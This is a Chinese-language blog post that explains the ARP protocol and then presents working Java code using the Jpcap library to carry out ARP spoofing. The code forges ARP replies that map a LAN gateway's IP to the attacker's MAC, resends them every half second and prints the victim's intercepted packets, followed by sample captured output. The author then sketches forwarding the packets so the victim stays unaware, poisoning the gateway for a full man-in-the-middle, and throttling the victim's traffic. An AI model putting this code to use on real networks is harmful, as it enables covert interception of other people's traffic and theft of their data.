- 浏览: 210759 次
- 性别:
- 来自: 北京
文章分类
- 全部博客 (124)
- 一段耗CPU的随机生成字符串的代码,why? (1)
- 生活如何才能不匆忙? (1)
- Null Object设计模式 (1)
- 珍爱生命,远离java (1)
- Oracle强杀进程,解决表锁死等问题 (1)
- java发送消息到RTX提醒 (1)
- 以HTTP形式获取图片流并写入另一个图片 (1)
- struts2获取Session和request方法 (1)
- 洛克菲勒.第一封:起点不决定终点 (1)
- tomcat的OutOfMemoryError解决方法 (1)
- REST和SOAP:谁更好,或者都好? (1)
- 35款免费的Javascript、Flash Web图表组件 (1)
- 盘点:三十五个非主流开源数据库 (1)
- Lucene并发连接实现 - ConcurrentLuceneConnection (1)
- 能大大提升工作效率和时间效率的9个重要习惯 (1)
- 读周鸿祎的《乔布斯的拿来主义》后感 (1)
- 表变量与临时表的优缺点 (1)
- Visual C++线程同步技术剖析 (转载) (1)
- 海量数据处理专题1——Bloom Filter (1)
- 海量数据处理专题2——Hash (1)
- 海量数据处理专题3——Bit-map (1)
- 海量数据处理专题4——堆 (1)
- 海量数据处理专题5——双层桶划分 (1)
- 海量数据处理专题6——数据库索引及优化 (1)
- 海量数据处理专题7——倒排索引(搜索引擎之基石) (1)
- 如何让优化你在搜索引擎上的形象 (1)
- 20个专业的SEO网站分析工具 (1)
- 杯具了,武汉开出国内首张个人网店税单:征税430余万 (1)
- java关键字的实现原理 (1)
- 关于Class类的成员函数与Java反射机制,坦言Synchronize的本质 (1)
- iBATIS的一对多关联查询 (1)
- 详解spring 依赖注入的作用 (1)
- 为什么要用JSP做显示而不用servlet? (1)
- 解决:java webservice调用net 参数返回NULL (1)
- Lucene搜索 关键字高亮 (1)
- Java常用类 Object类简单用法和深入 (1)
- 我在上海奋斗五年 从月薪3500到700万 (1)
- 每个Java初学者都应该搞懂的六个问题 (1)
- 强 奸数据库就这八步! (0)
- 数据库就这八步! (1)
- 什么才是最好处理中文方法 (1)
- JS实现简单的ajax访问Struts2的action类 (1)
- 跨域终极解决办法 (1)
- 由Map的复制问题引发对深复制和浅复制的思考 (1)
- Object类型转换为String类型的两种方式 (1)
- 写Java程序的三十个基本规则 (1)
- java计算时间差及某个时间段数据 (1)
- 推荐10个Java开源CMS系统 (1)
- 折半插入排序java实现 (1)
- 什么是程序员的优秀品质? (1)
- JDK Proxy AOP实现 (1)
- Java的最优化内存管理 (1)
- 100个Java经典例子 (1)
- java多态反射机制例子 (1)
- hashCode与equals的区别与联系 (1)
- 软件公司如何才能留住员工 (1)
- Java模拟操作系统进程调度算法—先来先服务、短作业优先、高响比优先 (1)
- 抛砖引玉 教你如何成为一名Java初级程序员 (1)
- 是什么成就了一名“高级”程序员? (1)
- 10分钟教会你Apache Shiro (1)
- Lucene排序 Payload的应用 (1)
- Lucene3.0之结果排序 (1)
- synchronized和java.util.concurrent.locks.Lock的异同 (1)
- 如何把Object对象转换为XML (1)
- 大流量网站的底层系统架构 (1)
- 程序员应该知道的100个vim命令 (1)
- 小编辑 Java 6 JVM参数选项大全(中文版) (1)
- 使用 Java Native Interface 的最佳实践 (1)
- 您适合从事Web前端开发行业吗? (1)
- 一个当了爹的程序员的自白 (1)
- Hibernate中设置MySQL的中文编码 (1)
- 雅虎声明称董事会运转良好 杨致远无需辞职 (1)
- IBM开源Java语言变种NetRexx (1)
- Tomcat VS Jetty (1)
- 正版office 2007 简体中文专业版(附正版序列号)高速下载正版office 2007 简体中文专业版 (1)
- java程序员应该知道的两种引用 (1)
- 基于Oracle 分布式数据库的查询优化 (1)
- JAVA设计模式 (1)
- java高并发-静态页面生成方案(1) (1)
- 程序员和编码员之间的区别 (1)
- 看看美国是如何解决开发人员的缺陷的 (1)
- ClassNotFoundException: org.springframework.web.util.IntrospectorCleanupListener (1)
- 开发模式 (0)
最新评论
-
泛黄秋颜:
大神你好,我最近在做云显示,奈何就是不会,能不能麻烦您发我一份 ...
Java实现标签云 -
Zhang_amao:
我的QQ邮箱1101232017@qq.com
Java实现标签云 -
Zhang_amao:
您好, 我现在也在研究这一领域,特别需要java版本来生成中文 ...
Java实现标签云 -
moon198654:
Technoboy 写道引用
总结
本文介绍了目前 Java ...
Tomcat VS Jetty -
mengxiangzhou:
dfvdf
Java模拟操作系统进程调度算法—先来先服务、短作业优先、高响比优先
ARP(Address Resolution
Protocol)既地址解释协议,主要的目的是用于进行IP和MAC地址解释的。IP是网络层协议,而MAC是被数据链路层使用。网络中两个节点要进行
通信,那么首先发送端必须要知道源和目的地的MAC地址,而网络层是使用IP地址,所以要获得MAC地址,就必须通过IP地址获取对应的MAC地址,这样
就需要使用ARP协议将IP地址转换为MAC地址,而同时为了能够快速的找到目的地的MAC地址,每个节点都会有一个ARP缓存,用于保存已经转好好的
MAC地址,大家可以在控制台下使用arp –a指令查看arp缓存表。
而ARP具体过程就是当需要通过IP获取一个远端的的MAC地址的时候,系统会首先检查ARP表中是否存在对应的IP地址,如果没有,则发送一个ARP广
播,当某一个拥有这个MAC地址的节点收到ARP请求的时候,会创建一个ARP reply包,并发送到ARP请求的源节点,ARP
Reply包中就包含了目的地节点的MAC地址,在源节点接受到这个reply后,会将目的地节点的MAC地址保存在ARP缓存表中,下一次再次请求同一
IP地址的时候,系统将会从ARP表中直接获取目的地MAC地址,而不需要再次发送ARP广播。
看到这里,ARP的具体过程大概讲解了一遍,希望能够解释清楚。相信有心的朋友一定已经开始考虑ARP欺骗的原理了吧,其实就是利用ARP表进行ARP欺
骗,比如一台局域网内的机器A,通过网关B进行internet连接,而它的arp表中保存着网关B的IP和MAC地址对,如下:
192.168.1.1 —> MAC1(懒得写那么长了,就以MAC1作为MAC地址了)
那么也就是说,当A想上网的时候,他所有的数据都将先发送到网关再由网关转发出去,那么A的数据首先会通过192.168.1.1找到网关的
MAC地址
MAC1,然后就可把数据发送到网关了。此时你的机器是C,MAC地址是MAC2,你想通过ARP欺骗来获取A传输的数据,那么你所需要做的事情其实很简
单,就是将机器A的ARP表中192.168.1.1对应的MAC地址MAC1改成MAC2即可,这样子机器A所有发送到192.168.1.1的数据就
会发到MAC地址为MAC2的机器上,也就是你的机器上了。
要更改APR表的记录,办法就是伪造一个ARP reply包发送给机器A,而这个ARP
reply包中的源IP为192.168.1.1,MAC地址为MAC2既你的机器的MAC地址即可,机器A接受到后就会将这个源IP和MAC刷新到它的
ARP缓存表中,覆盖原有的记录,最终这样就可以达到ARP欺骗的目的了。
讲到这里不知道大家是否对ARP欺骗有所了解呢?如果再不了解那就上网搜搜吧,网上很多相关的资料。好了,原理讲完了,那就轮到实现了,通过JAVA又如何实现ARP欺骗呢?
从头到尾来做,当然不是我的作风,JAVA社区那么庞大,我么应该好好利用,要站在巨人的肩膀上成功嘛,呵呵。有一个开源项目JPCAP,这个项目提供一个中间层接口让使用者可以调用如wincap/libpcap这些库对网络传输进行控制,具体可到官方网站查看其文档。
在这里,我实现了一个简单的封包截取程序,根据ARP欺骗的原理,我们所需要做的事情如下:
1、 构建一个ARP Reply包
2、 将该封包发送到需要欺骗的机器
- public class LocalListener {
- private final static String GATE_IP = "192.168.11.1" ;
- private final static byte [] GATE_MAC = { 0x00 , 0x0a , ( byte ) 0xc5 ,
- 0x42 , 0x6e , ( byte ) 0x9a };
- private JpcapCaptor jpcap; //与设备的连接
- private JpcapSender sender; //用于发送的实例
- private Packet replyPacket; //ARP reply包
- private NetworkInterface device; //当前机器网卡设备
- private IpMacMap targetIpMacMap; //目的地IP MAC对
- public LocalListener(IpMacMap target) throws Exception {
- NetworkInterface[] devices =JpcapCaptor.getDeviceList();
- device = devices[1 ];
- this .targetIpMacMap = target;
- initSender();
- initPacket();
- }
- private void initSender() throws Exception {
- jpcap = JpcapCaptor.openDevice(device, 2000 , false , 10000 ); //打开与设备的连接
- jpcap.setFilter("ip" , true ); //只监听ip数据包
- sender = jpcap.getJpcapSenderInstance();
- }
- private void initPacket() throws Exception {
- //reply包的源IP和MAC地址,此IP-MAC对将会被映射到ARP表
- IpMacMap targetsSd = new IpMacMap(GATE_IP, device.mac_address);
- //创建修改目标机器ARP的包
- replyPacket = ARPPacketGern.genPacket(targetIpMacMap, targetsSd);
- //创建以太网头信息,并打包进reply包
- replyPacket.datalink = EthernetPacketGern.genPacket(targetIpMacMap.getMac(),
- device.mac_address);
- }
- public void listen() throws InterruptedException{
- Thread t = new Thread( new Runnable() {
- public void run() {
- //发送reply封包,修改目的地arp表, arp表会在一段时间内被更新,所以需要不停发送
- while ( true ){
- send();
- try {
- Thread.sleep(500 );
- } catch (InterruptedException ex) {
- Logger.getLogger(LocalListener.class .getName()).log(Level.SEVERE, null , ex);
- }
- }
- }
- });
- t.start();
- //截获当前网络设备的封包收发信息
- while ( true ){
- IPPacket ipPacket = (IPPacket)jpcap.getPacket();
- System.out.println(ipPacket);
- }
- }}
- //IP-MAC实体,只用于保存一对IP-MAC地址
- public class IpMacMap {
- private String ip;
- private byte [] mac;
- public IpMacMap(){
- }
- public IpMacMap(String ip, byte [] mac){
- this .ip = ip;
- this .mac = mac;
- }
- public String getIp() {
- return ip;
- }
- public void setIp(String ip) {
- this .ip = ip;
- }
- public byte [] getMac() {
- return mac;
- }
- public void setMac( byte [] mac) {
- this .mac = mac;
- }
- }
- //ARP reply包生成类,用于根据目的地址和源地址生成reply包
- public class ARPPacketGern{
- public static ARPPacket genPacket(IpMacMap target, IpMacMap sender) throws Exception{
- ARPPacket arpTarget = new ARPPacket();
- arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER; //选择以太网类型(Ethernet)
- arpTarget.prototype = ARPPacket.PROTOTYPE_IP; //选择IP网络协议类型
- arpTarget.operation = ARPPacket.ARP_REPLY; //选择REPLY类型
- arpTarget.hlen = 6 ; //MAC地址长度固定6个字节
- arpTarget.plen = 4 ; //IP地址长度固定4个字节
- arpTarget.target_hardaddr = target.getMac();
- arpTarget.target_protoaddr = InetAddress.getByName(target.getIp()).getAddress();
- arpTarget.sender_hardaddr = sender.getMac();
- arpTarget.sender_protoaddr = InetAddress.getByName(sender.getIp()).getAddress();
- return arpTarget;
- }
- }
- //根据目的地MAC和源MAC构建以太网头信息,用于传输数据
- public class EthernetPacketGern{
- public static EthernetPacket genPacket( byte [] targetMac, byte [] senderMac) throws Exception {
- EthernetPacket ethToTarget = new EthernetPacket(); //创建一个以太网头
- ethToTarget.frametype = EthernetPacket.ETHERTYPE_ARP; //选择以太包类型
- ethToTarget.dst_mac = targetMac;
- ethToTarget.src_mac = senderMac;
- return ethToTarget;
- }
- }
public class LocalListener { private final static String GATE_IP = "192.168.11.1"; private final static byte[] GATE_MAC = {0x00, 0x0a, (byte) 0xc5, 0x42, 0x6e, (byte) 0x9a}; private JpcapCaptor jpcap;//与设备的连接 private JpcapSender sender; //用于发送的实例 private Packet replyPacket;//ARP reply包 private NetworkInterface device;//当前机器网卡设备 private IpMacMap targetIpMacMap;//目的地IP MAC对 public LocalListener(IpMacMap target) throws Exception { NetworkInterface[] devices =JpcapCaptor.getDeviceList(); device = devices[1]; this.targetIpMacMap = target; initSender(); initPacket(); } private void initSender() throws Exception { jpcap = JpcapCaptor.openDevice(device, 2000, false, 10000); //打开与设备的连接 jpcap.setFilter("ip", true); //只监听ip数据包 sender = jpcap.getJpcapSenderInstance(); } private void initPacket() throws Exception { //reply包的源IP和MAC地址,此IP-MAC对将会被映射到ARP表 IpMacMap targetsSd = new IpMacMap(GATE_IP, device.mac_address); //创建修改目标机器ARP的包 replyPacket = ARPPacketGern.genPacket(targetIpMacMap, targetsSd); //创建以太网头信息,并打包进reply包 replyPacket.datalink = EthernetPacketGern.genPacket(targetIpMacMap.getMac(), device.mac_address); } public void listen() throws InterruptedException{ Thread t = new Thread(new Runnable() { public void run() { //发送reply封包,修改目的地arp表, arp表会在一段时间内被更新,所以需要不停发送 while(true){ send(); try { Thread.sleep(500); } catch (InterruptedException ex) { Logger.getLogger(LocalListener.class.getName()).log(Level.SEVERE, null, ex); } } } }); t.start(); //截获当前网络设备的封包收发信息 while(true){ IPPacket ipPacket = (IPPacket)jpcap.getPacket(); System.out.println(ipPacket); } }} //IP-MAC实体,只用于保存一对IP-MAC地址 public class IpMacMap { private String ip; private byte[] mac; public IpMacMap(){ } public IpMacMap(String ip, byte[] mac){ this.ip = ip; this.mac = mac; } public String getIp() { return ip; } public void setIp(String ip) { this.ip = ip; } public byte[] getMac() { return mac; } public void setMac(byte[] mac) { this.mac = mac; } } //ARP reply包生成类,用于根据目的地址和源地址生成reply包 public class ARPPacketGern{ public static ARPPacket genPacket(IpMacMap target, IpMacMap sender) throws Exception{ ARPPacket arpTarget = new ARPPacket(); arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER; //选择以太网类型(Ethernet) arpTarget.prototype = ARPPacket.PROTOTYPE_IP; //选择IP网络协议类型 arpTarget.operation = ARPPacket.ARP_REPLY; //选择REPLY类型 arpTarget.hlen = 6; //MAC地址长度固定6个字节 arpTarget.plen = 4; //IP地址长度固定4个字节 arpTarget.target_hardaddr = target.getMac(); arpTarget.target_protoaddr = InetAddress.getByName(target.getIp()).getAddress(); arpTarget.sender_hardaddr = sender.getMac(); arpTarget.sender_protoaddr = InetAddress.getByName(sender.getIp()).getAddress(); return arpTarget; } } //根据目的地MAC和源MAC构建以太网头信息,用于传输数据 public class EthernetPacketGern{ public static EthernetPacket genPacket(byte[] targetMac, byte[] senderMac) throws Exception { EthernetPacket ethToTarget = new EthernetPacket(); //创建一个以太网头 ethToTarget.frametype = EthernetPacket.ETHERTYPE_ARP; //选择以太包类型 ethToTarget.dst_mac = targetMac; ethToTarget.src_mac = senderMac; return ethToTarget; } }
如上代码实现了创建一个发送到IP为192.168.11.4的机器的ARP
reply封包,其中可看到,reply包中的源IP为192.168.11.1,而源MAC则被改成当前机器的MAC地址,既
device.mac_address,这样当192.168.11.4的机器接收到该reply包后,就会刷新ARP表,并且所有发送往
192.168.11.1的数据都会实际发送到当前运行该程序的机器。程序中创建了一个线程用于循环发送reply封包,主要是因为ARP表会在一定时间
内更新,所以要不停的发送才能保证其MAC地址时刻都是被改变的。同时主线程用于监听并打印当前设备的所有IP数据包信息,本来此方法只能监听到本机数据
包的信息,但由于使用了ARP欺骗,所以你会在192.168.11.4发送数据到192.168.11.1的时候截获其数据包,并看到类似如下的信息:
1216798614:885583 /192.168.11.4->/61.135.189.33 protocol(6)
priority(0) hop(128) offset(0) ident(34922) TCP 1337 > 8016
seq(1062321893) win(65535) S
其实上例程序虽然可以截获并监听192.168.11.4的数据包,但是如果真的运行起来后,192.168.11.4的机器将会无法上网(假设该机器通过192.168.11.1作为网关上网),这又是为何呢?
这就是因为本机截获了192.168.11.4的封包,但是却没有将封包转发出去,所以实际上数据包到了你的机器上后就被中断了,数据包无法发送出去。既
然要监听对方机器,当然不能让对方知道啦,如果你监听了那台机器,却导致对方无法上网,傻子也知道有问题啦,所以以上程序仍然要加个补充,那就是将封包数
据在转发到192.168.11.1上,只要将截获的封包再send出去就可以了,具体如何做就留给大家想吧,困了,休息了,如果有朋友有兴趣又实在想不
出如何做的话,可以向我提出来,有必要的话,下次再贴一个完整点的例子吧。
对了,最后还有补充的地方,那就是我们可以通过同样的方式刷新网关的ARP,这样网关接受到的数据也会被本机截获,同样再通过本机转发到目的机器即可。这
样对方既可正常上网,而我们又可截获对方的数据包,如果要进行限速的话,那就是在截获封包的同时,进行一定的延时,比如一秒只允许多少K的数据通过,都可
以在这里做手脚,同样的,具体如何留给大家想吧。 click it->
相关推荐
ARP欺骗,全称为Address Resolution Protocol欺骗,是一种网络攻击技术,主要针对局域网中的通信安全。ARP协议本身是为了实现IP地址到MAC物理地址的映射,但在某些情况下,攻击者可以通过发送伪造的ARP响应来篡改这...
ARP 监听 欺骗 ARP监听 ARP欺骗 以太网的ARP监听 以太网的ARP欺骗 Ethernet arp监听 Ethernet arp欺骗 ARP 监听 欺骗 ARP监听 ARP欺骗 以太网的ARP监听 以太网的ARP欺骗 Ethernet arp监听 Ethernet arp欺骗
在网络安全领域,ARP欺骗是一种常见的攻击手段,它利用了局域网中地址解析协议(ARP)的缺陷。本文将深入探讨如何使用Kali Linux这一专业安全操作系统,配合ENSPI(Ethernet Network Simulation Platform,以太网...
ARP欺骗是一种网络攻击技术,通过篡改网络中的ARP(Address Resolution Protocol,地址解析协议)响应,使得数据包被错误地发送到攻击者而非真正的目标主机。在C#中实现ARP欺骗,开发者需要深入理解ARP协议的工作...
我们可以在路由器上启用 IP 和 MAC 绑定功能,这样可以防止路由器的 ARP 表被恶意的 ARP 数据包更改。同时,我们也可以在路由器上设置静态 ARP 表,这样可以防止路由器的 ARP 表被欺骗。 2. 设置电脑防止 ARP 欺骗 ...
用 Java 实现 ARP 报文的发送 本文将详细介绍如何使用 Java 语言实现 ARP 报文的发送,包括对所使用到的几个类的描述。 一、需求分析 在计算机网络课程设计中,需要实现 ARP 报文的发送和接收,并将其展示在可视...
ARP欺骗源代码(基于WinPcap实现) 本文将详细介绍ARP欺骗源代码的实现细节,该源代码基于WinPcap实现,旨在帮助读者深入了解ARP欺骗的原理和实现过程。 标题解释 该源代码的标题为“ARP欺骗源代码(基于WinPcap...
实验目的:理解ARP协议的基础,了解ARP欺骗的工作原理,学习如何使用ARP欺骗软件,以及认识到防御ARP欺骗的重要性。 实验内容:通过设置三台PC(A、B、C),在A上搭建FTP服务,允许B进行访问。C作为攻击者,利用ARP...
ARP欺骗原理实验是一种网络安全技术实践,它涉及到网络通信的基础知识,特别是局域网(LAN)内的地址解析协议(ARP)。ARP是TCP/IP协议栈的一部分,它的主要任务是将网络层的IP地址转换为数据链路层的物理MAC地址,...
然而,ARP协议的这种设计也使得它成为了一些网络攻击的切入点,例如ARP欺骗和ARP攻击。 标题"防ARP欺骗利器加强版"提示我们,这是一个专门针对ARP欺骗和攻击的防护工具。在局域网中,如果有人通过发送伪造的ARP消息...
ARP欺骗是一种网络攻击技术,它通过篡改网络中ARP(Address Resolution Protocol,地址解析协议)表的信息,使得数据包被错误地发送到攻击者而非预期的目标,从而可能导致隐私泄露、数据包嗅探甚至整个网络瘫痪。...
标题 "Jpcap编写的ARP欺骗小例程" 涉及到的主要知识点是网络通信中的ARP协议和利用Java的Jpcap库进行网络数据包捕获与操纵。以下是关于这些主题的详细解释: 1. **ARP(地址解析协议)**:ARP是局域网中的一种基础...
一旦ARP欺骗成功,攻击者可以拦截并查看、修改或阻止网络中的数据流。这可能导致敏感信息泄露、拒绝服务攻击,甚至整个网络瘫痪。尤其是在局域网环境中,ARP欺骗的威胁尤为严重,因为局域网内的设备通常信任来自同一...
ARP欺骗,全称为Address Resolution Protocol(地址解析协议)欺骗,是一种网络攻击技术,它通过操纵ARP协议来误导网络中的设备,使得数据包被错误地发送到攻击者而非预期的目标。这种攻击可能导致网络服务中断、...
标题中的“Net.rar_ARP java_arp欺骗_ip地址_net”暗示了这个压缩包包含一个用Java编写的程序,用于检测局域网内的ARP欺骗,并且能够查找网络中的可达IP地址。ARP(Address Resolution Protocol,地址解析协议)是...
在标题“ARP.rar_arp_arp欺骗_arp欺骗_windows socket arp”中,我们可以理解为这是一个关于ARP欺骗的程序,可能包含使用Windows Socket API来实现ARP欺骗的代码或示例。Windows Socket(简称Winsock)是Windows操作...
描述ARP的主要协议格式以及ARP的主要原理,介绍了ARP欺骗的主要原理和模拟实现过程。
ARP欺骗,全称为Address Resolution Protocol(地址解析协议)欺骗,是一种常见的网络安全攻击手段,通过篡改网络中的ARP信息,导致数据包被错误地转发,进而实施中间人攻击或窃取敏感信息。本压缩包文件“arp cheat...
### ARP欺骗的技术原理及应用 #### 一、引言 在网络安全领域,ARP(Address Resolution Protocol)欺骗是一种常见的攻击手段,通过篡改网络中主机的ARP缓存表来实现中间人攻击(MITM, Man-In-The-Middle)。本文将详细...
ARP 欺骗的原理与模拟,利用抓包工具 ARP 欺骗是一种常见的网络攻击手段,它可以让攻击者在不被发现的情况下控制网络流量。为了更好地理解 ARP 欺骗的原理,我们需要了解 ARP 协议的基本功能。 ARP 协议(Address ...